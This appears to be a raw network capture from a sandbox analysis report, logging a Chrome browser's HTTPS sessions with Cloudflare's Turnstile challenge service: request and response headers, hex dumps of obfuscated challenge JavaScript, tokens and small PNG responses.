2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 28 78 3d 66 35 28 68 29 2c 67 5b 68 77 28 37 31 39 29 5d 5b 68 77 28 31 32 38 38 29 5d 26 26 28 78 3d 78 5b 68 77 28 31 33 37 31 29 5d 28 67 5b 68 77 28 37 31 39 29 5d 5b 68 77 28 31 32 38 38 29 5d 28 68 29 29 29 2c 78 3d 67 5b 68 77 28 33 32 36 29 5d 5b 68 77 28 31 32 34 37 29 5d 26 26 67 5b 68 77 28 31 31 33 33 29 5d 3f 67 5b 68 77 28 33 32 36 29 5d 5b 68 77 28 31 32 34 37 29 5d 28 6e 65 77 20 67 5b 28 68 77 28 31 31 33 33 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 68 79 2c 4a 2c 4b 2c 48 29 7b 69 66 28 68 79 3d 68 77 2c 6f 5b 68 79 28 31 39 33 29 5d 3d 3d 3d 6f 5b 68 79 28 31 32 33 30 29 5d 29 7b 66 6f 72 28 4a 3d 68 79 28 35 34 32 29 5b 68 79 28 31 34 33 33 29 5d 28 27 7c 27 29 2c 4b 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 4a Data Ascii: (x=f5(h),g[hw(719)][hw(1288)]&&(x=x[hw(1371)](g[hw(719)][hw(1288)](h))),x=g[hw(326)][hw(1247)]&&g[hw(1133)]?g[hw(326)][hw(1247)](new g[(hw(1133))](x)):function(G,hy,J,K,H){if(hy=hw,o[hy(193)]===o[hy(1230)]){for(J=hy(542)[hy(1433)]('\|'),K=0;!![];){switch(J
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 30 3c 63 31 3b 63 33 3d 6f 5b 68 77 28 33 30 31 29 5d 28 63 34 3c 3c 31 2c 31 2e 30 31 26 4a 29 2c 6f 5b 68 77 28 39 30 36 29 5d 28 63 35 2c 63 36 2d 31 29 3f 28 63 37 3d 30 2c 63 38 5b 68 77 28 37 38 32 29 5d 28 63 39 28 63 61 29 29 2c 63 62 3d 30 29 3a 63 63 2b 2b 2c 4a 3e 3e 3d 31 2c 63 32 2b 2b 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 63 64 2d 2d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 63 6d 3d 6f 5b 68 77 28 31 35 37 33 29 5d 28 63 6e 2c 63 6f 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 63 6a 5b 63 6b 5d 3d 63 6c 2b 2b 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 63 65 3d 3d 30 26 26 28 63 66 3d 63 67 5b 68 77 28 38 35 38 29 5d 28 32 2c 63 68 29 2c 63 69 2b 2b 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 Data Ascii: 0<c1;c3=o[hw(301)](c4<<1,1.01&J),o[hw(906)](c5,c6-1)?(c7=0,c8[hw(782)](c9(ca)),cb=0):cc++,J>>=1,c2++);continue;case'1':cd--;continue;case'2':cm=o[hw(1573)](cn,co);continue;case'3':cj[ck]=cl++;continue;case'4':ce==0&&(cf=cg[hw(858)](2,ch),ci++);continue}br
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 5d 28 6d 2c 32 35 35 29 2d 6a 2d 68 5b 68 41 28 34 32 31 29 5d 28 69 2c 36 35 35 33 35 29 2c 36 35 35 33 35 29 2c 32 35 35 29 29 29 29 3b 72 65 74 75 72 6e 20 6b 5b 68 41 28 31 35 30 30 29 5d 28 27 27 29 7d 2c 66 39 3d 5b 5d 2c 66 61 3d 30 3b 32 35 36 3e 66 61 3b 66 39 5b 66 61 5d 3d 53 74 72 69 6e 67 5b 67 4c 28 34 31 35 29 5d 28 66 61 29 2c 66 61 2b 2b 29 3b 67 4a 3d 28 66 62 3d 28 30 2c 65 76 61 6c 29 28 67 4c 28 39 32 30 29 29 2c 66 63 3d 61 74 6f 62 28 67 4c 28 31 35 38 29 29 2c 65 4d 5b 67 4c 28 31 30 38 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 61 2c 64 2c 65 2c 66 2c 67 29 7b 69 61 3d 67 4c 2c 64 3d 7b 7d 2c 64 5b 69 61 28 31 33 38 32 29 5d 3d 69 61 28 31 32 32 37 29 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 69 61 28 35 39 37 29 5d 5b Data Ascii: ](m,255)-j-h[hA(421)](i,65535),65535),255))));return k[hA(1500)]('')},f9=[],fa=0;256>fa;f9[fa]=String[gL(415)](fa),fa++);gJ=(fb=(0,eval)(gL(920)),fc=atob(gL(158)),eM[gL(1080)]=function(ia,d,e,f,g){ia=gL,d={},d[ia(1382)]=ia(1227),e=d,f=1,g=1e3*eM[ia(597)][
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 3a 44 3d 6b 5b 69 63 28 31 38 38 29 5d 28 6b 5b 69 63 28 31 38 38 29 5d 28 6b 5b 69 63 28 31 38 38 29 5d 28 6b 5b 69 63 28 34 35 39 29 5d 2b 47 2b 6b 5b 69 63 28 31 34 34 36 29 5d 2c 31 29 2c 6b 5b 69 63 28 37 36 39 29 5d 29 2b 65 4d 5b 69 63 28 31 33 31 30 29 5d 5b 69 63 28 37 31 33 29 5d 2b 27 2f 27 2b 65 4d 5b 69 63 28 31 33 31 30 29 5d 2e 63 48 2b 27 2f 27 2c 65 4d 5b 69 63 28 31 33 31 30 29 5d 5b 69 63 28 34 36 34 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 37 27 3a 73 5b 69 63 28 33 35 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 46 3d 28 45 3d 7b 7d 2c 45 5b 69 63 28 31 34 33 34 29 5d 3d 65 4d 5b 69 63 28 31 33 31 30 29 5d 5b 69 63 28 31 34 33 34 29 5d 2c 45 5b 69 63 28 33 31 31 29 Data Ascii: :D=k[ic(188)](k[ic(188)](k[ic(188)](k[ic(459)]+G+k[ic(1446)],1),k[ic(769)])+eM[ic(1310)][ic(713)]+'/'+eM[ic(1310)].cH+'/',eM[ic(1310)][ic(464)]);continue;case'7':s[ic(353)]=function(){};continue;case'8':F=(E={},E[ic(1434)]=eM[ic(1310)][ic(1434)],E[ic(311)
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 69 64 28 31 34 33 30 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 33 5d 2c 31 30 29 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 66 28 65 5b 69 64 28 35 37 32 29 5d 28 67 2c 68 29 29 7d 7d 65 6c 73 65 20 66 3d 4a 53 4f 4e 5b 69 64 28 35 34 36 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 69 64 28 38 33 32 29 5d 3d 66 2c 6d 5b 69 64 28 37 38 33 29 5d 3d 67 2c 6d 5b 69 64 28 31 32 31 31 29 5d 3d 68 2c 6d 5b 69 64 28 39 32 37 29 5d 3d 69 2c 6d 5b 69 64 28 34 33 38 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4c 28 36 32 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 67 2c 68 2c 69 2c 69 67 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 29 7b 28 69 67 3d 67 4c 2c 6a 3d 7b 7d 2c 6a 5b 69 67 28 31 35 32 35 29 5d 3d 69 67 28 31 32 32 31 29 2c 6a 5b 69 67 28 37 38 34 29 Data Ascii: id(1430)](parseInt,l[3],10));else return f(e[id(572)](g,h))}}else f=JSON[id(546)](d);return m={},m[id(832)]=f,m[id(783)]=g,m[id(1211)]=h,m[id(927)]=i,m[id(438)]=d,m},eM[gL(628)]=function(e,f,g,h,i,ig,j,k,l,m,n,o){(ig=gL,j={},j[ig(1525)]=ig(1221),j[ig(784)
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 79 54 5a 27 3a 6a 4f 28 38 36 33 29 2c 27 64 53 78 54 65 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 64 42 63 63 70 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 7d 2c 64 3d 65 4d 5b 6a 4f 28 31 33 31 30 29 5d 5b 6a 4f 28 31 30 38 31 29 5d 7c 7c 31 65 34 2c 65 3d 63 5b 6a 4f 28 31 31 37 38 29 5d 28 67 46 29 2c 21 65 4d 5b 6a 4f 28 39 31 33 29 5d 26 26 21 63 5b 6a 4f 28 31 31 37 38 29 5d 28 67 68 29 26 26 21 65 4d 5b 6a 4f 28 35 35 38 29 5d 5b 6a 4f 28 36 30 34 29 5d 26 26 65 2d 67 45 3e 64 3f 63 5b 6a 4f 28 32 38 39 29 5d 3d 3d 3d 63 5b 6a 4f 28 32 38 39 29 5d 3f 63 5b 6a 4f 28 31 35 38 30 29 5d 28 66 58 29 3a 68 5b 6a 4f 28 34 33 38 29 5d 3d 69 5b 6a 4f 28 35 34 36 29 5d 28 6a 5b 6a 4f 28 Data Ascii: yTZ':jO(863),'dSxTe':function(f){return f()},'dBccp':function(f){return f()}},d=eM[jO(1310)][jO(1081)]\|\|1e4,e=c[jO(1178)](gF),!eM[jO(913)]&&!c[jO(1178)](gh)&&!eM[jO(558)][jO(604)]&&e-gE>d?c[jO(289)]===c[jO(289)]?c[jO(1580)](fX):h[jO(438)]=i[jO(546)](j[jO(
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 7d 2c 27 77 5a 49 68 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 49 69 71 4e 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 58 71 4a 69 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d 2c 27 5a 68 57 6c 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 49 69 72 6a 64 27 3a 6a 51 28 31 33 38 31 29 2c 27 5a 71 6a 49 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 52 74 4c 52 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 5a 66 6b 68 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 Data Ascii: },'wZIhU':function(h,i){return h<<i},'IiqND':function(h,i){return i&h},'XqJiR':function(h,i){return i!==h},'ZhWla':function(h,i){return h(i)},'Iirjd':jQ(1381),'ZqjIb':function(h,i){return h<i},'RtLRN':function(h,i){return i!=h},'ZfkhP':function(h,i){retur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	50148	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:02 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1954702431:1729840526:lxWgwBVacrfPgN4BGZrmhPGM6SZGVVCL-6CofhKI-F8/8d80c8d89fe42e6c/sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:20:02 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:20:02 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: bEg/cLjm9pR32H8u/dntOT+588V7KYYUnbg=$U9WNyFpqdxObjdAX Server: cloudflare CF-RAY: 8d80c8f94aa2e542-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:20:02 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	50149	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:02 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8d80c8d89fe42e6c/1729844400481/32016c076dea6cba5de731f260bbe8772a2767f25e2623355dccd2e02a5bd427/DYlyp4xSuaGJmfa HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:20:02 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 25 Oct 2024 08:20:02 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-10-25 08:20:02 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 4d 67 46 73 42 32 33 71 62 4c 70 64 35 7a 48 79 59 4c 76 6f 64 79 6f 6e 5a 5f 4a 65 4a 69 4d 31 58 63 7a 53 34 43 70 62 31 43 63 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gMgFsB23qbLpd5zHyYLvodyonZ_JeJiM1XczS4Cpb1CcAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-10-25 08:20:02 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	50151	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:04 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8d80c8d89fe42e6c/1729844400485/hwBDZeVNXBV8bI8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:20:04 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:04 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8d80c905aca46b97-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:20:04 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 56 00 00 00 49 08 02 00 00 00 28 b4 46 ee 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRVI(FIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	50154	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:05 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8d80c8d89fe42e6c/1729844400485/hwBDZeVNXBV8bI8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:20:05 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:05 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8d80c90c1a756b1d-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:20:05 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 56 00 00 00 49 08 02 00 00 00 28 b4 46 ee 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRVI(FIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	50155	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:05 UTC	1151	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1954702431:1729840526:lxWgwBVacrfPgN4BGZrmhPGM6SZGVVCL-6CofhKI-F8/8d80c8d89fe42e6c/sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31609 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:20:05 UTC	16384	OUT	Data Raw: 76 5f 38 64 38 30 63 38 64 38 39 66 65 34 32 65 36 63 3d 63 78 2d 30 32 49 72 41 7a 76 2d 72 78 44 6e 69 6a 72 32 5a 38 53 76 5a 6d 5a 6c 76 30 57 30 37 78 5a 37 5a 43 30 46 2d 72 73 54 5a 35 37 24 4e 6b 7a 69 4b 5a 45 70 24 37 6b 49 68 67 2d 5a 63 49 5a 44 41 5a 46 30 76 75 4b 37 45 5a 76 68 5a 77 30 38 78 30 5a 53 30 49 46 5a 62 67 5a 69 46 58 59 24 67 6b 5a 31 5a 43 78 72 47 69 6d 69 5a 72 4d 5a 43 31 68 5a 34 30 76 76 5a 41 30 76 51 63 48 71 56 65 72 64 5a 44 4b 6e 49 58 4c 70 43 5a 5a 69 53 5a 5a 4d 36 49 59 66 30 72 4d 61 5a 5a 79 49 52 2d 36 48 4c 6c 6a 38 5a 69 70 2d 30 5a 58 41 24 39 6d 43 51 32 6a 2d 79 65 43 46 56 2d 49 43 49 31 66 67 77 78 5a 44 52 38 76 5a 2d 57 62 66 75 51 46 79 6f 7a 49 66 36 50 68 4c 47 51 51 5a 6d 77 34 32 71 6d 35 6f 59 Data Ascii: v_8d80c8d89fe42e6c=cx-02IrAzv-rxDnijr2Z8SvZmZlv0W07xZ7ZC0F-rsTZ57$NkziKZEp$7kIhg-ZcIZDAZF0vuK7EZvhZw08x0ZS0IFZbgZiFXY$gkZ1ZCxrGimiZrMZC1hZ40vvZA0vQcHqVerdZDKnIXLpCZZiSZZM6IYf0rMaZZyIR-6HLlj8Zip-0ZXA$9mCQ2j-yeCFV-ICI1fgwxZDR8vZ-WbfuQFyozIf6PhLGQQZmw42qm5oY
2024-10-25 08:20:05 UTC	15225	OUT	Data Raw: 72 6c 5a 65 7a 24 30 6c 46 76 48 72 6b 24 5a 6e 73 36 64 24 53 56 2b 52 4a 33 30 5a 30 41 72 48 24 72 6e 5a 76 65 5a 37 2b 56 5a 44 30 76 2d 5a 66 5a 49 30 76 7a 5a 65 5a 50 62 74 65 5a 58 5a 71 30 49 65 72 57 5a 57 30 53 43 72 47 5a 41 24 49 48 5a 36 35 4c 24 69 6e 5a 50 5a 76 5a 44 66 5a 35 5a 2d 65 72 46 5a 41 5a 44 65 5a 41 72 67 5a 43 5a 69 41 5a 24 5a 71 65 53 66 5a 4a 30 24 65 72 41 72 52 55 69 7a 53 30 4c 6d 5a 38 44 51 62 5a 52 55 76 61 73 48 5a 74 78 69 64 67 70 5a 48 5a 43 68 69 7a 49 4d 5a 48 5a 49 6c 66 78 5a 47 65 72 74 5a 65 24 6c 30 2d 43 76 59 78 2d 24 72 6b 5a 50 5a 5a 4c 44 45 54 4a 5a 45 79 76 48 5a 47 5a 45 79 49 65 30 77 5a 4f 30 43 67 77 43 5a 6d 5a 49 6e 72 5a 7a 46 5a 5a 45 48 63 70 50 24 69 30 5a 65 24 24 2d 49 47 54 33 5a 45 79 Data Ascii: rlZez$0lFvHrk$Zns6d$SV+RJ30Z0ArH$rnZveZ7+VZD0v-ZfZI0vzZeZPbteZXZq0IerWZW0SCrGZA$IHZ65L$inZPZvZDfZ5Z-erFZAZDeZArgZCZiAZ$ZqeSfZJ0$erArRUizS0LmZ8DQbZRUvasHZtxidgpZHZChizIMZHZIlfxZGertZe$l0-CvYx-$rkZPZZLDETJZEyvHZGZEyIe0wZO0CgwCZmZInrZzFZZEHcpP$i0Ze$$-IGT3ZEy
2024-10-25 08:20:05 UTC	330	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:05 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26304 Connection: close cf-chl-gen: B2VFCeq99b7ojmrSUXNwi37B2+aOODtrH9C0vGutJru0jDQEWQuyeTO1zmVuEJOWF/TaNhGmuUzTqL68$yhv0Qqvvqs/Bh77X Server: cloudflare CF-RAY: 8d80c90c2b1d464a-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:20:05 UTC	1039	IN	Data Raw: 69 6b 43 4c 61 49 53 46 64 32 69 43 63 6d 6c 71 69 4a 42 75 57 49 78 74 61 45 36 4e 6c 48 78 53 6b 5a 68 56 64 35 4b 63 5a 49 65 62 61 59 4a 65 6f 49 43 51 62 61 4e 75 70 34 79 6d 6c 71 43 44 67 5a 75 56 75 71 74 35 66 4a 4b 30 6b 73 4f 51 74 71 65 65 6b 35 48 42 70 62 32 2f 77 72 37 4c 76 61 66 4d 6e 35 57 6e 73 63 72 4a 75 70 69 6e 30 37 4b 32 6d 4e 53 30 75 61 33 52 74 37 6d 39 6f 36 6e 43 70 65 44 41 78 4f 6e 6d 72 75 72 75 72 65 44 4f 73 75 7a 4e 7a 65 54 73 7a 39 51 43 38 39 49 45 30 50 62 39 34 65 4d 49 77 50 76 6f 42 51 58 42 32 66 37 4d 36 66 4c 4e 46 50 62 34 31 73 77 61 45 4f 34 4a 31 64 77 6a 34 74 34 47 49 41 2f 2b 34 67 48 6e 34 77 6e 73 49 52 45 45 44 53 55 6e 42 52 41 34 44 52 41 57 43 44 49 49 37 79 6e 31 4c 42 41 73 45 6a 59 44 50 45 67 Data Ascii: ikCLaISFd2iCcmlqiJBuWIxtaE6NlHxSkZhVd5KcZIebaYJeoICQbaNup4ymlqCDgZuVuqt5fJK0ksOQtqeek5HBpb2/wr7LvafMn5WnscrJupin07K2mNS0ua3Rt7m9o6nCpeDAxOnmrurureDOsuzNzeTsz9QC89IE0Pb94eMIwPvoBQXB2f7M6fLNFPb41swaEO4J1dwj4t4GIA/+4gHn4wnsIREEDSUnBRA4DRAWCDII7yn1LBAsEjYDPEg
2024-10-25 08:20:05 UTC	1369	IN	Data Raw: 44 63 5a 64 79 62 6d 61 4d 5a 6d 39 72 6f 46 36 58 58 36 52 33 64 32 56 6c 6c 6f 75 63 61 33 69 72 6b 49 5a 73 6a 49 74 30 72 6f 31 75 72 35 65 36 69 34 75 33 6c 5a 69 56 6e 38 4b 4f 6b 37 53 76 74 36 65 44 70 49 69 4c 76 4d 48 42 71 71 43 64 69 6f 65 4f 31 4c 4b 55 6b 62 50 55 32 35 65 36 77 63 44 43 76 4e 61 39 6e 4b 54 62 75 39 4c 4b 34 4c 7a 61 79 4e 37 63 7a 66 4b 6d 76 64 66 52 72 75 4b 73 74 39 53 38 39 74 58 49 30 64 38 44 7a 74 50 30 37 2f 66 6e 77 2b 54 49 79 2f 77 43 41 75 72 67 33 65 41 51 35 74 59 50 36 68 48 32 47 65 30 56 44 68 6e 7a 47 64 6e 75 4a 42 4d 45 39 42 59 63 46 65 63 48 2b 69 72 72 43 68 30 4e 38 51 73 30 46 41 55 55 45 69 55 47 39 41 34 77 4b 77 41 77 44 55 51 6c 48 55 59 37 4a 45 77 6f 46 78 6f 65 51 43 6b 38 49 42 49 6c 44 30 Data Ascii: DcZdybmaMZm9roF6XX6R3d2Vllouca3irkIZsjIt0ro1ur5e6i4u3lZiVn8KOk7Svt6eDpIiLvMHBqqCdioeO1LKUkbPU25e6wcDCvNa9nKTbu9LK4LzayN7czfKmvdfRruKst9S89tXI0d8DztP07/fnw+TIy/wCAurg3eAQ5tYP6hH2Ge0VDhnzGdnuJBME9BYcFecH+irrCh0N8Qs0FAUUEiUG9A4wKwAwDUQlHUY7JEwoFxoeQCk8IBIlD0
2024-10-25 08:20:05 UTC	1369	IN	Data Raw: 57 58 70 72 61 6d 75 4e 63 36 4e 68 66 58 61 42 5a 71 75 48 67 49 6d 74 6a 71 53 46 72 59 68 2f 72 32 6d 54 67 34 4a 34 65 33 6d 4c 72 4b 69 53 67 48 6d 67 77 5a 32 2f 68 35 2b 41 67 70 61 36 6f 4a 33 4e 70 63 4c 44 7a 62 47 31 31 61 76 51 74 4b 33 4a 6e 5a 61 78 6d 5a 72 61 32 71 4b 69 77 75 4f 6d 77 4c 76 62 33 65 7a 4d 70 66 47 6e 35 73 2f 73 31 66 62 66 35 2b 6a 75 2b 76 4b 76 39 4c 58 38 33 74 33 36 34 64 4c 35 32 73 48 79 32 50 7a 49 36 4d 44 4c 37 65 66 7a 35 76 44 68 7a 75 50 72 39 64 6a 38 46 77 62 31 46 50 66 66 46 67 44 6a 38 52 37 39 41 2b 45 45 41 41 67 49 35 67 62 70 47 77 45 6c 38 41 48 6f 38 78 59 51 45 41 67 62 47 7a 49 57 48 79 30 33 51 7a 76 33 4f 67 63 37 47 77 67 65 50 77 51 69 47 45 46 43 54 43 59 76 52 43 38 6f 56 78 6b 38 4e 78 52 Data Ascii: 